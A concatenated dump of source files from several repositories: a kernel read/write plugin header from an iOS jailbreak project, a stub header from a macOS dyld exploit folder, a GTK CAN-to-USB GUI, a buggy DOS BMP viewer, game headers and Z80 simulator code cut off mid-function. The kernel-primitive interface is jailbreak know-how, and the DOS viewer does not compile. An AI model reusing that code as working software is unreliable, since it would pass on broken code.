typedef int (*krw_kwrite_func_t)(void *from, uint64_t to, size_t len);
typedef int (*krw_kmalloc_func_t)(uint64_t *addr, size_t size);
typedef int (*krw_kdealloc_func_t)(uint64_t addr, size_t size);
typedef int (*krw_kcall_func_t)(uint64_t func, size_t argc, const uint64_t *argv, uint64_t *ret);
typedef int (*krw_physread_func_t)(uint64_t from, void *to, size_t len, uint8_t granule);
typedef int (*krw_physwrite_func_t)(void *from, uint64_t to, size_t len, uint8_t granule);
// This struct must only be extended so that old plugins can still load
#define LIBKRW_HANDLERS_VERSION 0
struct krw_handlers_s {
uint64_t version;
krw_kbase_func_t kbase;
krw_kread_func_t kread;
krw_kwrite_func_t kwrite;
krw_kmalloc_func_t kmalloc;
krw_kdealloc_func_t kdealloc;
krw_kcall_func_t kcall;
krw_physread_func_t physread;
krw_physwrite_func_t physwrite;
};
typedef struct krw_handlers_s* krw_handlers_t;
/**
* krw_initializer_t - plugin initialization prototype
*
* Called krw_initializer_t krw_initializer is called when a plugin is opened to
* determine if read/write primitives are available
*
* krw_initializer should set as many of handlers->kread, handlers->kwrite, handlers->kbase,
* handlers->kmalloc, and handlers->kdealloc as possible on success - any not set will
* return unsupported.
*
* Called krw_initializer_t kcall_initializer is called when a plugin is opened to
* determine if read/write primitives are available. It is passed a structure containing
* populated kread/kwrite functions
*
* kcall_initializer should set as many of handlers->kcall, handlers->physread, and
* handlers->physwrite as possible on success. any not set will return unsupported.
*
* Retuns 0 if read/write are supported by this plugin
**/
typedef int (*krw_plugin_initializer_t)(krw_handlers_t handlers);
#ifdef __cplusplus
}
#endif
#endif
|
obenchekroun/Fugu14
|
x86_64/dyldExploitMacOS_x86_64/dyldExploitMacOS_x86_64/helper.h
|
//
// helper.h
// iDebug
//
// Created by <NAME>.
// Copyright © 2020/2021 <NAME>. All rights reserved.
//
#ifndef helper_h
#define helper_h
#import <Foundation/Foundation.h>
pid_t pidOfProcess(NSString* process);
#endif /* helper_h */
|
DMoore12/can2usb
|
software/gui/src/ui.h
|
<filename>software/gui/src/ui.h
/*
* ui.h
*
* Handles UI updates and miscellaneous processing
*
* DWM - 6/27/2021
*/
#ifndef _UI_H_
#define _UI_H_
#endif
|
DMoore12/can2usb
|
software/gui/src/ui.c
|
/*
* ui.c
*
* Handles UI updates and miscellaneous processing
*
* DWM - 6/27/2021
*/
#include "ui.h"
//gtk_label_set_text(GTK_LABEL(wdgts_data->label_mod_volts), (gchar*) mod_volts);
|
DMoore12/can2usb
|
software/gui/src/main.c
|
#include <gtk-3.0/gtk/gtk.h>
#include "main.h"
app_widgets_usr wdgts; // User widgets
GtkBuilder* builder; // Builder instance
int main(int argc, char *argv[])
{
GtkWidget *window;
gtk_init(&argc, &argv);
builder = gtk_builder_new();
gtk_builder_add_from_file(builder, "glade/mainWindow.glade", NULL);
window = GTK_WIDGET(gtk_builder_get_object(builder, "main_window"));
gtk_builder_connect_signals(builder, NULL);
//gdk_threads_add_timeout(1000, bgLoop, NULL);
g_object_unref(builder);
gtk_widget_show(window);
gtk_main();
return EXIT_SUCCESS;
}
void initItems()
{
//wdgts.label_conn_can = GTK_WIDGET(gtk_builder_get_object(builder, "label_conn_can"));
}
static void hardFault(uint8_t type)
{
// Locals
GtkDialogFlags flags;
GtkWidget* dialog;
flags = GTK_DIALOG_DESTROY_WITH_PARENT;
// switch (type)
// {
// case PROCESS_OPEN:
// dialog = gtk_message_dialog_new(NULL, flags, GTK_MESSAGE_ERROR, GTK_BUTTONS_CLOSE, "Error: Cannot open GUI with another instance running");
// break;
// case BAD_HOME:
// dialog = gtk_message_dialog_new(NULL, flags, GTK_MESSAGE_ERROR, GTK_BUTTONS_CLOSE, "Error: Improper home directory set");
// break;
// default:
// dialog = gtk_message_dialog_new(NULL, flags, GTK_MESSAGE_ERROR, GTK_BUTTONS_CLOSE, "Error: Something went wrong");
// }
// gtk_dialog_run (GTK_DIALOG (dialog));
gtk_widget_destroy (dialog);
}
void on_menuitm_quit_activate(GtkMenuItem *menuitem, app_widgets *app_wdgts)
{
gtk_main_quit();
}
void on_window_main_destroy(GtkMenuItem *menuitem, app_widgets *app_wdgts)
{
gtk_main_quit();
}
|
DMoore12/can2usb
|
software/gui/src/main.h
|
<filename>software/gui/src/main.h
#ifndef _MAIN_H_
#define _MAIN_H_
// Inlcudes
#include <stdlib.h>
#include <stdint.h>
#include "ui.h"
// Enumerations
typedef enum {
// MAIN_CNT must come last!
MAIN_CNT // Number of main page widgets
} main_page_t;
typedef enum {
// CONN_CNT must come last!
CONN_CNT // Number of connection page widgets
} connection_page_t;
typedef enum {
HFAULT_GENERIC = 0, // Generic, hard fault
// HFAULT_CNT must come last!
HFAULT_CNT // Number of hard faults
} hard_fault_reason_t;
// Structures
typedef struct {
GtkWidget* w_txtvw_main; // Pointer to text view object
GtkWidget* w_dlg_file_choose; // Pointer to file chooser dialog box
GtkTextBuffer* textbuffer_main; // Pointer to text buffer
} app_widgets;
typedef struct {
GtkWidget* main[MAIN_CNT]; // Pointers to main page widgets
GtkWidget* connect[CONN_CNT]; // Pointers to connection page widgets
} app_widgets_usr;
// Function prototypes
static void hardFault(uint8_t type);
void on_menuitm_quit_activate(GtkMenuItem *menuitem, app_widgets *app_wdgts);
void on_window_main_destroy(GtkMenuItem *menuitem, app_widgets *app_wdgts);
#endif
|
lcmftianci/webshark
|
PIXModule/PixImage.c
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcnt1.h>
#include <dos.h>
#include <bios.h>
#include <io.h>
#include <graphics.h>
void initgraphs(int Vmode)
{
union REGS inregs,outregs;
inregs.h.ah=0;
inregs.h.al=Vmode;
int86(0x10,&inregs,&outregs);
}
void set_color_map(int i,int n,char *r,char *g,char *b)
{
struct REGPACK regs;
char buff[256][3];
int m;
for(m=0;m<n;m++)
{
buff[m][0]=*r++>>2;
buff[m][1]=*b++>>2;
buff[m][2]=*g++>>2;
}
regs.r_ax=0x1012;
regs.r_es=FP_SEG(buff);
regs.r_dx=FP_OFF(buff);
regs.r_bx=i;
regs.r_cx=n;
intr(0x10,®s);
}
int main()
{
int i;
FILE *fp;
long vofs;
int vseg;
char far *ptr;
char r[256],g[256],b[256],rev[256];
int Vmode;
char file_name[20];
strcpy(file,"VGA256.bmp");
Vmode=0x13;
initgraphs(Vmode);
if((fp=open(file_name,O_RDONLY))==1) exit();
lseek(fp,54,0);
for(i=0;i<256;i++)
{
read(fp,r+i,1);
read(fp,b+i,1);
read(fp,g+i,1);
read(fp,rev+i,1);
}
set_color_map(0,256,g,r,b);
vofs=0;
lseek(fp,1078,0);
ptr=(char far *)MK_FP(0xA000,vofs);
read(fp,ptr,64000);
close(fp);
getch();
}
|
mikaoj/URLImageCache
|
Example/Pods/Target Support Files/Pods-URLImageCache_Example/Pods-URLImageCache_Example-umbrella.h
|
#import <UIKit/UIKit.h>
FOUNDATION_EXPORT double Pods_URLImageCache_ExampleVersionNumber;
FOUNDATION_EXPORT const unsigned char Pods_URLImageCache_ExampleVersionString[];
|
mikaoj/URLImageCache
|
Example/Pods/Target Support Files/Pods-URLImageCache_Tests-URLImageCache/Pods-URLImageCache_Tests-URLImageCache-umbrella.h
|
<filename>Example/Pods/Target Support Files/Pods-URLImageCache_Tests-URLImageCache/Pods-URLImageCache_Tests-URLImageCache-umbrella.h
#import <UIKit/UIKit.h>
FOUNDATION_EXPORT double URLImageCacheVersionNumber;
FOUNDATION_EXPORT const unsigned char URLImageCacheVersionString[];
|
mikaoj/URLImageCache
|
Example/Pods/Target Support Files/Pods-URLImageCache_Tests/Pods-URLImageCache_Tests-umbrella.h
|
<filename>Example/Pods/Target Support Files/Pods-URLImageCache_Tests/Pods-URLImageCache_Tests-umbrella.h
#import <UIKit/UIKit.h>
FOUNDATION_EXPORT double Pods_URLImageCache_TestsVersionNumber;
FOUNDATION_EXPORT const unsigned char Pods_URLImageCache_TestsVersionString[];
|
taymoore/SupplyBattle
|
SupplyBattle/Button.h
|
#pragma once
#include <Windows.h>
#include <SFML/Graphics.hpp>
#include "Assets.h"
#include "Widget.h"
class Button :
public Widget {
public:
Button(const sf::String & string, const float & height, Widget * parent);
~Button();
bool handleEvent(sf::Event event) override;
void draw();
const sf::Vector2f& getPosition() const override;
void setPosition(const sf::Vector2f& position) override;
const sf::Vector2f getSize() const override;
protected:
virtual void clicked() {}; // Mouse is pressed & released while mouse is within button
virtual void pressed(); // Button is pressed down
virtual void released(); // Button is released
private:
sf::Text text;
sf::RectangleShape background;
const float height;
bool isPressed;
// Colors
static const sf::Color textFillColor;
static const sf::Color backgroundFillColor;
static const sf::Color backgroundOutlineColor;
static const sf::Color textFillColorPressed;
static const sf::Color backgroundFillColorPressed;
static const sf::Color backgroundOutlineColorPressed;
};
class NewMapButton :
public Button {
public:
NewMapButton(Widget* parent);
void clicked() override;
};
|
taymoore/SupplyBattle
|
SupplyBattle/Road.h
|
<reponame>taymoore/SupplyBattle<filename>SupplyBattle/Road.h<gh_stars>0
#pragma once
#include <array>
#include <SFML\Graphics.hpp>
class Tile;
class Road {
public:
Road(Tile& tile1, Tile& tile2);
~Road();
bool contains(const Tile& tile) const;
void draw(sf::RenderWindow& renderWindow);
private:
std::array<std::reference_wrapper<Tile>, 2> tileList;
};
|
taymoore/SupplyBattle
|
SupplyBattle/Tile.h
|
<filename>SupplyBattle/Tile.h
#pragma once
#include <exception>
#include <algorithm>
#include <vector>
#include <array>
#include <cmath>
#include <iostream>
#include <SFML/Graphics.hpp>
#include "Terrain.h"
#include "Assets.h"
class Player;
class Unit;
class Tile {
public:
Tile();
Tile(const int & a, const int & b, const Terrain::TerrainType & terrainType);
Tile(const sf::Vector3i& pos, const Terrain::TerrainType & terrainType);
bool operator==(const Tile& other) const;
bool operator<(const Tile& other) const;
static sf::Vector2u getPos(const int& x, const int& y, const int& z);
static sf::Vector2u getPos(const sf::Vector3<int>& pos);
static sf::Vector3i getPos(const int& a, const int& b);
static sf::Vector3i getPos(const sf::Vector2<int>& pos);
static unsigned int getDistance(const Tile& tile1, const Tile& tile2);
const sf::Vector2u& getPos2() const;
const sf::Vector3i& getPos3() const;
void setString(const sf::String& string);
void drawTerrain(sf::RenderWindow& renderWindow);
void drawRoad(sf::RenderWindow& renderWindow);
sf::CircleShape drawCircle(sf::RenderWindow & renderWindow, const sf::Color & color, const float & radius = 100) const;
void setAdjacentTiles(std::array<Tile*, 6>& adjacentTiles);
std::array<Tile*, 6>& getAdjacentTiles();
const Terrain& getTerrain() const;
Terrain& getTerrain();
const unsigned int getMovementCost() const;
void createRoad();
bool hasRoad() const;
const sf::Vector2f getPixCentre() const;
const sf::Vector2f getPixPos() const;
void assignPlayer(Player& player);
void clearPlayer();
Player* getPlayer();
void setUnit(Unit* const unit);
Unit* getUnit() const;
void clearFogOfWar();
private:
// Position
sf::Vector3i pos3;
sf::Vector2u pos2;
sf::Vector2f pixPos;
std::array<Tile*, 6> adjacentTiles;
Terrain terrain;
bool road;
void updateRoadGraphic();
std::vector<std::array<sf::Vertex,2>> roadGraphic;
Player* player;
Unit* unit;
sf::Text text;
bool fogOfWar;
};
|
taymoore/SupplyBattle
|
SupplyBattle/Terrain.h
|
#pragma once
#include <SFML\Graphics.hpp>
#include "Assets.h"
class Terrain {
public:
enum TerrainType {
NONE,
GRASSLAND,
LIGHT_FOREST,
THICK_FOREST,
HILLS,
WOODED_HILLS,
MOUNTAIN,
COAST,
OCEAN,
TOWN
};
Terrain();
Terrain(const sf::Vector2<float>& pos, const Terrain::TerrainType & terrainType);
~Terrain();
void draw(sf::RenderWindow& renderWindow);
void setTerrainType(const TerrainType& terrianType);
void setSpriteColor(const sf::Color& color);
const TerrainType& getTerrainType() const;
const unsigned int& getMovementCost() const;
private:
TerrainType terrainType;
sf::Sprite sprite;
unsigned int movementCost;
};
|
taymoore/SupplyBattle
|
SupplyBattle/CheckBox.h
|
<gh_stars>0
#pragma once
#include "Widget.h"
#include "Assets.h"
class CheckBox :
public Widget {
public:
CheckBox(const sf::String & string, const float & height, Widget * parent);
~CheckBox();
bool handleEvent(sf::Event event) override;
void draw();
const sf::Vector2f& getPosition() const override;
void setPosition(const sf::Vector2f& position) override;
const sf::Vector2f getSize() const override;
protected:
virtual void clicked() {};
private:
sf::Text text;
sf::RectangleShape box;
const float height;
bool isPressed;
// Dimensions
static const sf::Vector2f textOffset;
sf::Vector2f size;
// Colors
static const sf::Color textFillColor;
static const sf::Color backgroundFillColor;
static const sf::Color backgroundOutlineColor;
};
class GlobalViewCheckbox :
public CheckBox {
public:
GlobalViewCheckbox(Widget* parent);
private:
void clicked() override;
};
//class PlayerViewCheckbox :
// public CheckBox {
// PlayerViewCheckbox(Widget* parent);
//};
|
taymoore/SupplyBattle
|
SupplyBattle/Player.h
|
#pragma once
#include <unordered_map>
#include <forward_list>
#include <SFML/Graphics.hpp>
#include "Tile.h"
#include "Unit.h"
class City;
class Player {
public:
Player();
~Player();
void draw();
void update();
void assignCity(Tile& tile);
void setColor(const sf::Color& color);
struct City {
City(Player* const player, Tile& tile, const sf::Color& color);
void draw();
void update();
Tile& tile;
Player* player;
struct Resources {
Resources();
Resources(unsigned int& wood);
float wood;
};
Resources resources;
struct Banner {
Banner(const sf::Vector2f& pos, const sf::Color& color);
void draw();
void setResources(const Resources& resources);
sf::ConvexShape banner;
sf::Text wood;
};
Banner banner;
};
const std::unordered_map<Tile*, City>& getCityList() const;
private:
std::unordered_map<Tile*, City> cityList;
sf::Color color;
void createUnit(Tile& tile);
std::forward_list<Unit> unitList;
struct Strategy {
Strategy(Player& player);
void update();
enum Focus {
DEFEND,
SCOUT,
ATTACK
};
Focus focus;
Player& player;
std::map<Player*, unsigned int> armySize;
};
Strategy strategy;
};
|
taymoore/SupplyBattle
|
SupplyBattle/Assets.h
|
#pragma once
#include <SFML\Graphics.hpp>
class Assets {
public:
Assets();
~Assets();
const sf::Texture & getUnitTileset() const;
sf::Texture& getTerrainTileset();
const sf::Texture& getTerrainTileset() const;
const sf::Font& getFont() const;
private:
sf::Texture terrainTileset;
sf::Texture unitTileset;
sf::Font font;
};
|
taymoore/SupplyBattle
|
SupplyBattle/Map.h
|
#pragma once
#include <Windows.h>
#include <memory>
#include <array>
#include <vector>
#include <string>
#include <list>
#include <forward_list>
#include <ostream>
#include <sstream>
#include <cstdlib>
#include <random>
#include <ctime>
#include <algorithm>
#include <functional>
#include "Assets.h"
#include "Tile.h"
#include "FastNoise.h"
#include "DebugView.h"
#include "Widget.h"
#include "Player.h"
class Map :
public Widget {
public:
Map(const sf::Vector2u & mapSize);
~Map();
void generateMap(const sf::Vector2u & size, const unsigned int & playerCount);
void draw(sf::RenderWindow& renderWindow);
const sf::Vector2u& getMapSize() const;
bool handleEvent(sf::Event event) override;
enum Direction : unsigned int {
NONE = 0,
UP_LEFT,
UP,
UP_RIGHT,
DOWN_RIGHT,
DOWN,
DOWN_LEFT
};
// Update
void update();
// Widget
const sf::Vector2f& getPosition() const override;
void setPosition(const sf::Vector2f& position) override;
// Tiles
static unsigned int getDistance(const Tile& tile1, const Tile& tile2);
Tile* getTile(Tile & tile, const Map::Direction & direction);
sf::Vector3i getTile(const sf::Vector3i& pos, const Map::Direction & direction);
Tile& getTileFromMouse();
Tile* getTile(Tile & tile, const unsigned int & range, std::function<bool(const Tile&)> test);
std::vector<Tile*> getTiles(Tile & tile, const unsigned int & range, std::function<bool(const Tile&)> test);
std::vector<Tile*> getPath(Tile& start, Tile& finish, int range = -1);
// Towns
// Players
std::forward_list<Player>& getPlayerList();
void clearFogOfWar(Tile& tile, const unsigned int& range);
const Player* const getPlayerView() const;
void setPlayerView(Player* const player);
private:
// Tiles
std::vector<Tile> tileList;
Tile& getTile(const int& x, const int& y, const int& z);
Tile& getTile(const int& a, const int& b);
Tile& getTile(const sf::Vector2f& pos); // get tile from pixel position
Tile* getTilePtr(const sf::Vector3i& pos);
Tile* getTilePtr(const int& x, const int& y, const int& z);
const Tile& getTile(const int & x, const int & y, const int & z) const;
std::array<Tile*, 6> getAdjacentTiles(const sf::Vector3i& pos);
// Improvements
std::vector<std::reference_wrapper<Tile>> improvementList;
// Towns
std::vector<std::reference_wrapper<Tile>> townList;
// Players
std::forward_list<Player> playerList;
Player* playerView; // Which player's perspective is active
// Map
sf::Vector2<unsigned int> mapSize;
// View
sf::View view;
bool isPanning = false;
sf::Vector2i oldMousePoint;
float viewZoom;
static constexpr const float viewZoomInit = 2.0f;
void zoomViewAt(sf::Vector2i pixel, sf::RenderWindow& window, float zoom);
enum PanVerticalDirection {
VerticalNone,
Up,
Down,
};
PanVerticalDirection panVerticalDirection;
enum PanHorizontalDirection {
HorizontalNone,
Left,
Right
};
PanHorizontalDirection panHorizontalDirection;
int panDelayCount;
static const int panDelay = 5;
static const int initPanDelay = -30;
const float panStep = 30.0f;
};
|
taymoore/SupplyBattle
|
SupplyBattle/Widget.h
|
#pragma once
#include <vector>
#include <SFML/Graphics.hpp>
class Widget {
public:
Widget();
Widget(Widget* parent);
~Widget();
virtual void draw() {};
Widget* getParent() const;
void addChild(Widget* child);
virtual bool handleEvent(sf::Event event);
void takeFocus();
bool hasFocus() const;
virtual const sf::Vector2f& getPosition() const = 0;
virtual void setPosition(const sf::Vector2f& position) = 0;
virtual const sf::Vector2f getSize() const {
throw std::exception("getSize() not implemented");
};
protected:
Widget* parent;
std::vector<Widget*> children;
bool removeChild(const Widget* child);
};
|
taymoore/SupplyBattle
|
SupplyBattle/Building.h
|
<filename>SupplyBattle/Building.h
#pragma once
class Building {
public:
Building();
~Building();
};
|
taymoore/SupplyBattle
|
SupplyBattle/DebugView.h
|
<filename>SupplyBattle/DebugView.h<gh_stars>0
#pragma once
#include <vector>
#include <map>
#include <SFML/Graphics.hpp>
#include "Map.h"
class DebugView {
public:
DebugView();
~DebugView();
void addCircle(const Tile & tile, const sf::Color & color, const float & radius = 100.0f);
std::size_t eraseCircle(const Tile& tile);
void addText(const Tile & tile, const sf::String & string);
std::size_t eraseText(const Tile& tile);
void addLine(const Tile& start, const Tile& finish);
std::size_t eraseLine(const Tile & start, const Tile & finish);
void draw();
bool render();
void clear();
private:
std::map<Tile, sf::CircleShape> circleList;
std::map<Tile, sf::Text> textList;
std::map<std::pair<Tile, Tile>, sf::VertexBuffer> lineList;
};
|
taymoore/SupplyBattle
|
SupplyBattle/Unit.h
|
<filename>SupplyBattle/Unit.h
#pragma once
#include <SFML/Graphics.hpp>
#include "Assets.h"
class Tile;
class Unit {
public:
Unit(Tile& tile);
~Unit();
void draw();
private:
Tile* tile;
sf::Sprite sprite;
};
|
taymoore/SupplyBattle
|
SupplyBattle/Label.h
|
<reponame>taymoore/SupplyBattle<filename>SupplyBattle/Label.h
#pragma once
#include <SFML/Graphics.hpp>
#include "Assets.h"
#include "Widget.h"
class Hud;
class Label :
public Widget {
public:
Label(sf::String & string, Hud & parent);
~Label();
private:
Hud& parent;
sf::Text string;
sf::RectangleShape background;
};
|
taymoore/SupplyBattle
|
SupplyBattle/Hud.h
|
<filename>SupplyBattle/Hud.h
#pragma once
#include <Windows.h>
#include <sstream>
#include <algorithm>
#include <forward_list>
#include <SFML/Graphics.hpp>
#include "Assets.h"
#include "Widget.h"
#include "Button.h"
#include "CheckBox.h"
class Hud :
public Widget {
public:
Hud(const sf::String & title, const sf::Vector2f & pos, const sf::Vector2f & size, Widget * parent);
~Hud();
bool handleEvent(sf::Event event) override;
void draw();
const sf::Vector2f& getPosition() const override;
void setPosition(const sf::Vector2f& position) override;
static const std::string to_string(const float& val, const unsigned int& precision);
private:
struct Titlebar :
public Widget {
Titlebar(const sf::String & title, const sf::Vector2f & pos, const sf::Vector2f& size, Hud & parent);
bool handleEvent(sf::Event event);
void draw();
const sf::Vector2f& getPosition() const override;
void setPosition(const sf::Vector2f& position) override;
Hud& hud;
sf::Text text;
sf::RectangleShape background;
const sf::Vector2f size;
static const sf::Color backgroundFillColor;
static const sf::Color backgroundOutlineColor;
static const sf::Color backgroundFillColorFocused;
static const sf::Color backgroundOutlineColorFocused;
};
Titlebar titlebar;
struct VerticalList :
public Widget {
VerticalList(Widget& parent) :
Widget(parent) {
}
void draw() override;
const sf::Vector2f& getPosition() const override;
void setPosition(const sf::Vector2f& position) override;
sf::Vector2f position;
};
VerticalList verticalList;
static const sf::Vector2f verticalListPositionOffset;
NewMapButton newMapButton;
GlobalViewCheckbox globalViewCheckBox;
//std::vector<CheckBox> playerViewCheckboxList;
sf::RectangleShape background;
// Consts
static const sf::Color backgroundFillColor;
static const sf::Color backgroundOutlineColor;
static const sf::Color backgroundFillColorFocused;
static const sf::Color backgroundOutlineColorFocused;
};
|
jackcarrozzo/z80sim
|
config.h
|
<gh_stars>1-10
/*
* Z80SIM - a Z80-CPU simulator
*
* Copyright (C) 1987-2008 by <NAME>
*
* This is the configuration I'm using for software testing and debugging
*
* History:
* 28-SEP-87 Development on TARGON/35 with AT&T Unix System V.3
* 11-JAN-89 Release 1.1
* 08-FEB-89 Release 1.2
* 13-MAR-89 Release 1.3
* 09-FEB-90 Release 1.4 Ported to TARGON/31 M10/30
* 20-DEC-90 Release 1.5 Ported to COHERENT 3.0
* 10-JUN-92 Release 1.6 long casting problem solved with COHERENT 3.2
* and some optimization
* 25-JUN-92 Release 1.7 comments in english and ported to COHERENT 4.0
* 02-OCT-06 Release 1.8 modified to compile on modern POSIX OS's
* 18-NOV-06 Release 1.9 modified to work with CP/M sources
* 08-DEC-06 Release 1.10 modified MMU for working with CP/NET
* 17-DEC-06 Release 1.11 TCP/IP sockets for CP/NET
* 25-DEC-06 Release 1.12 CPU speed option
* 19-FEB-07 Release 1.13 various improvements
* 06-OCT-07 Release 1.14 bug fixes and improvements
* 06-AUG-08 Release 1.15 many improvements and Windows support via Cygwin
* 25-AUG-08 Release 1.16 console status I/O loop detection and line discipline
* 20-OCT-08 Release 1.17 frontpanel integrated and Altair/IMSAI emulations
*/
/*
* The following defines may be activated, commented or modified
* by user for her/his own purpose.
*/
#define CPU_SPEED 1 /* default CPU speed */
/*#define Z80_UNDOC*/ /* compile undocumented Z80 instructions */
#define WANT_INT /* activate CPU's interrupts */
#define WANT_SPC /* activate SP over-/underrun handling 0000<->FFFF */
#define WANT_PCC /* activate PC overrun handling FFFF->0000 */
#define CNTL_C /* cntl-c will stop running emulation */
#define CNTL_BS /* cntl-\ will stop running emulation */
#define WANT_TIM /* activate runtime measurement */
#define HISIZE 100 /* number of entrys in history */
#define SBSIZE 4 /* number of software breakpoints */
/*#define FRONTPANEL*/ /* no frontpanel emulation */
/*#define BUS_8080*/ /* no emulation of 8080 bus status */
#define WANT_COUNTERS // enable counter management
#define INT_DEBUG 0 // prints when an interrupt fires
// this buffer is large for the following reason: in hardware, typing on a console
// sends each charactor as it happens. however, we are using UDP sockets to emulate
// serial connections, and client apps buffer locally then send a whole line on 'enter'.
#define DART_BUFSIZE 128
/*
* The following defines may be modified and activated by
* user, to print her/his copyright for a developed system,
* which contains the Z80-CPU simulation as a part.
*/
#define USR_COM "<NAME> <<EMAIL>>"
#define USR_REL "Fixes and updates:"
#define USR_CPR "Copyright (C) 2014"
/*
* The following lines of this file should not be modified by user
*/
#define COPYR "Copyright (C) 1987-2008 by <NAME>"
#define RELEASE "1.17"
#define LENCMD 80 /* length of command buffers etc */
#define S_FLAG 128 /* bit definitions of CPU flags */
#define Z_FLAG 64
#define N2_FLAG 32
#define H_FLAG 16
#define N1_FLAG 8
#define P_FLAG 4
#define N_FLAG 2
#define C_FLAG 1
#define CPU_MEMR 128 /* bit definitions for CPU bus status */
#define CPU_INP 64
#define CPU_M1 32
#define CPU_OUT 16
#define CPU_HLTA 8
#define CPU_STACK 4
#define CPU_WO 2
#define CPU_INTA 1
/* operation of simulated CPU */
#define SINGLE_STEP 3 /* single step */
#define CONTIN_RUN 1 /* continual run */
#define STOPPED 0 /* stop CPU because of error */
/* causes of error */
#define NONE 0 /* no error */
#define OPHALT 1 /* HALT op-code trap */
#define IOTRAP 2 /* IN/OUT trap */
#define IOERROR 3 /* fatal I/O error */
#define OPTRAP1 4 /* illegal 1 byte op-code trap */
#define OPTRAP2 5 /* illegal 2 byte op-code trap */
#define OPTRAP4 6 /* illegal 4 byte op-code trap */
#define USERINT 7 /* user interrupt */
#define POWEROFF 255 /* CPU off, no error */
/* type of CPU interrupt */
#define INT_NONE 0
#define INT_NMI 1 /* non maskable interrupt */
#define INT_INT 2 /* maskable interrupt */
typedef unsigned short WORD; /* 16 bit unsigned */
typedef unsigned char BYTE; /* 8 bit unsigned */
#ifdef HISIZE
struct history { /* structure of a history entry */
WORD h_adr; /* address of execution */
WORD h_af; /* register AF */
WORD h_bc; /* register BC */
WORD h_de; /* register DE */
WORD h_hl; /* register HL */
WORD h_ix; /* register IX */
WORD h_iy; /* register IY */
WORD h_sp; /* register SP */
};
#endif
#ifdef SBSIZE
struct softbreak { /* structure of a breakpoint */
WORD sb_adr; /* address of breakpoint */
BYTE sb_oldopc; /* op-code at address of breakpoint */
int sb_passcount; /* pass counter of breakpoint */
int sb_pass; /* no. of pass to break */
};
#endif
|
jackcarrozzo/z80sim
|
util.c
|
/*
* Z80SIM - a Z80-CPU simulator
*
* Copyright (C) 1987-2008 by <NAME>
*
* History:
* 28-SEP-87 Development on TARGON/35 with AT&T Unix System V.3
* 11-JAN-89 Release 1.1
* 08-FEB-89 Release 1.2
* 13-MAR-89 Release 1.3
* 09-FEB-90 Release 1.4 Ported to TARGON/31 M10/30
* 20-DEC-90 Release 1.5 Ported to COHERENT 3.0
* 10-JUN-92 Release 1.6 long casting problem solved with COHERENT 3.2
* and some optimization
* 25-JUN-92 Release 1.7 comments in english and ported to COHERENT 4.0
* 02-OCT-06 Release 1.8 modified to compile on modern POSIX OS's
* 18-NOV-06 Release 1.9 modified to work with CP/M sources
* 08-DEC-06 Release 1.10 modified MMU for working with CP/NET
* 17-DEC-06 Release 1.11 TCP/IP sockets for CP/NET
* 25-DEC-06 Release 1.12 CPU speed option
* 19-FEB-07 Release 1.13 various improvements
* 06-OCT-07 Release 1.14 bug fixes and improvements
* 06-AUG-08 Release 1.15 many improvements and Windows support via Cygwin
* 25-AUG-08 Release 1.16 console status I/O loop detection and line discipline
* 20-OCT-08 Release 1.17 frontpanel integrated and Altair/IMSAI emulations
*/
/*
* This modul contains some commonly used functions
*/
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <termios.h>
#include "config.h"
/*
* atoi for hexadecimal numbers
*/
int exatoi(char *str)
{
register int num = 0;
while (isxdigit((int)*str)) {
num *= 16;
if (*str <= '9')
num += *str - '0';
else
num += toupper((int)*str) - '7';
str++;
}
return(num);
}
/*
* Wait for a single keystroke without echo
*/
int getkey(void)
{
register int c;
struct termios old_term, new_term;
tcgetattr(0, &old_term);
new_term = old_term;
new_term.c_lflag &= ~(ICANON | ECHO);
new_term.c_cc[VMIN] = 1;
tcsetattr(0, TCSADRAIN, &new_term);
c = getchar();
tcsetattr(0, TCSADRAIN, &old_term);
return(c);
}
|
jackcarrozzo/z80sim
|
io.c
|
<reponame>jackcarrozzo/z80sim
// vim:set shiftwidth=2 softtabstop=2 expandtab:
/*
* Z80SIM - a Z80-CPU simulator
*
* Copyright (C) 1987-2008 by <NAME>
* 2014 fork by <NAME> <<EMAIL>>
*
*/
#include <stdio.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include "config.h"
#include "global.h"
#include "io.h"
// TODO: move this into config.h, make dev struct types similar
// default debugging thresholds
#define DEBUG_PIO 5
#define DEBUG_CTC 5
#define DEBUG_DART 3
#define DEBUG_OTHER 3
static t_iodebug iodebug;
// levels messages can have:
#define D_CONFW 3
#define D_CONFR 3
#define D_RWOPS 3
#define D_ERR 2
#define D_UNIMPL 3
#define D_INFO 4
#define D_ALL 5
#define D_WARN 3
// base addresses for io devices (assumes that A1-0 are
// used in the devices themselves, and A4-2 are demuxed
// to select devices)
#define ADDR_8255 0
#define ADDR_CTC 4
#define ADDR_DART 8
// listen ports for serial sockets
#define DARTA_PORT 8041
#define DARTB_PORT 8042
// TODOs:
//
// - fix the interrupt handling stuff (again), emulate acking properly
// - see if i cant clean up some of the globals and pass
// struct ptrs around.
static pio_state pio; // called pio for var name compliance, but in my application
// it is in fact an 82c55
static ctc_state ctc[4];
static dart_state dart[2]; // 0=chan A, 1=chan B
void init_io(void) { // called at start to init all ports
int i;
iodebug.pio =DEBUG_PIO;
iodebug.ctc =DEBUG_CTC;
iodebug.dart =DEBUG_DART;
iodebug.other =DEBUG_OTHER;
pio.port_a=0xff; // at reset, 8255 ports are in input mode with
pio.port_b=0xff; // light pullups
pio.port_c=0xff;
pio.control=0x9B;
for (i=0;i<4;i++) { // TODO: lookup proper vals
ctc[i].ints_enabled=0;
ctc[i].tc_next=0;
ctc[i].tc=255;
ctc[i].ivector=0;
ctc[i].c_val=255;
ctc[i].prescaler=255;
ctc[i].p_val=255;
}
for (i=0;i<2;i++) {
dart_reset(&dart[i]);
// TODO: add ::1 listener for osx compat
if (0>(dart[i].sock=socket(AF_INET,SOCK_DGRAM,0))) {
perror("cannot create socket\n");
exit(1);
}
bzero((char *)&dart[i].ouraddr,sizeof(dart[i].ouraddr));
dart[i].ouraddr.sin_family=AF_INET;
dart[i].ouraddr.sin_addr.s_addr=htonl(INADDR_ANY);
dart[i].ouraddr.sin_port=htons((0==i)?DARTA_PORT:DARTB_PORT);
dart[i].have_client=0;
dart[i].addrlen=sizeof(dart[i].remaddr);
if (0>(bind(dart[i].sock,(struct sockaddr *)&dart[i].ouraddr,sizeof(dart[i].ouraddr)))) {
perror("socket bind failed");
//exit(1);
